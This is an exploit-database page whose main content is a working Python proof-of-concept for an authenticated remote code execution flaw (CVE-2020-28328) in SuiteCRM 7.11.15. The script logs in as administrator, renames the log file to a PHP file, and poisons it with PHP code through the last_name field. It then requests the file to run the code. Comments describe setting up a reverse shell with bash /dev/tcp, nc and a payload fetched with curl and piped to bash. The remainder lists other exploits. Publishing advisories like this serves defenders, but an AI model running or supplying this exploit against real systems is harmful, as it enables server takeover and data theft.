To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)"

Author

Exploit author

"M. Cory Billington"

Platform

Exploit platform

php

Release date

Exploit published date

2020-11-09

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)
# Date: 08 NOV 2020
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/salesagility/SuiteCRM
# Version: 7.11.15 and below
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2020-28328
# Writeup: https://github.com/mcorybillington/SuiteCRM-RCE

from requests import Session
from random import choice
from string import ascii_lowercase

url = "http://127.0.0.1/"  # URL to remote host web root
post_url = "{url}index.php".format(url=url)
user_name = "admin"  # User must be an administrator
password = "admin"
prefix = 'shell-'
file_name = '{prefix}{rand}.php'.format(
    prefix=prefix,
    rand=''.join(choice(ascii_lowercase) for _ in range(6))
)

# *Recommend K.I.S.S as some characters are escaped*
# Example for reverse shell:
# Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh
# Stand up a python web server `python -m http.server 80` hosting shell.sh
# Set a nc listener to catch the shell 'nc -nlvp 8080'
command = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name)

# Admin login payload
login_data = {
    "module": "Users",
    "action": "Authenticate",
    "return_module": "Users",
    "return_action": "Login",
    "user_name": user_name,
    "username_password": password,
    "Login": "Log+In"
}

# Payload to set logging to 'info' and create a log file in php format.
modify_system_settings_data = {
    "action": (None, "SaveConfig"),
    "module": (None, "Configurator"),
    "logger_file_name": (None, file_name),  # Set file extension in the file name as it isn't checked here
    "logger_file_ext": (None, ''),  # Bypasses file extension check by just not setting one.
    "logger_level": (None, "info"),  # This is important for your php code to make it into the logs
    "save": (None, "Save")
}

# Payload to put php code into the malicious log file
poison_log = {
    "module": (None, "Users"),
    "record": (None, "1"),
    "action": (None, "Save"),
    "page": (None, "EditView"),
    "return_action": (None, "DetailView"),
    "user_name": (None, user_name),
    "last_name": (None, command),
}

# Payload to restore the log file settings to default after the exploit runs
restore_log = {
    "action": (None, "SaveConfig"),
    "module": (None, "Configurator"),
    "logger_file_name": (None, "suitecrm"),  # Default log file name
    "logger_file_ext": (None, ".log"),  # Default log file extension
    "logger_level": (None, "fatal"),  # Default log file setting
    "save": (None, "Save")
}

# Start of exploit
with Session() as s:

    # Authenticating as the administrator
    s.get(post_url, params={'module': 'Users', 'action': 'Login'})
    print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID'])
    s.post(post_url, data=login_data)
    if 'ck_login_id_20' not in s.cookies.get_dict().keys():
        print('[-] Invalid password for: {user}'.format(user=user_name))
        exit(1)
    print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(
        user=user_name,
        cookie=s.cookies.get_dict()['PHPSESSID'])
    )

    # Modify the system settings to set logging to 'info' and create a log file in php format
    print('[+] Modifying log level and log file name.')
    print('[+] File name will be: {fname}'.format(fname=file_name))
    settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
    s.post(post_url, headers=settings_header, files=modify_system_settings_data)

    # Post to update the administrator's last name with php code that will poison the log file
    print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))
    command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
    s.post(url, headers=command_header, files=poison_log)

    # May be a good idea to put a short delay in here to allow your code to make it into the logfile.
    # Up to you though...

    # Do a get request to trigger php code execution.
    print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))
    execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)
    if not execute_command.ok:
        print('[-] Exploit failed, sorry... Might have to do some modifications.')

    # Restoring log file to default
    print('[+] Setting log back to defaults')
    s.post(post_url, headers=settings_header, files=restore_log)

print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-11-09 "SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)" webapps php "M. Cory Billington"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/49001/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.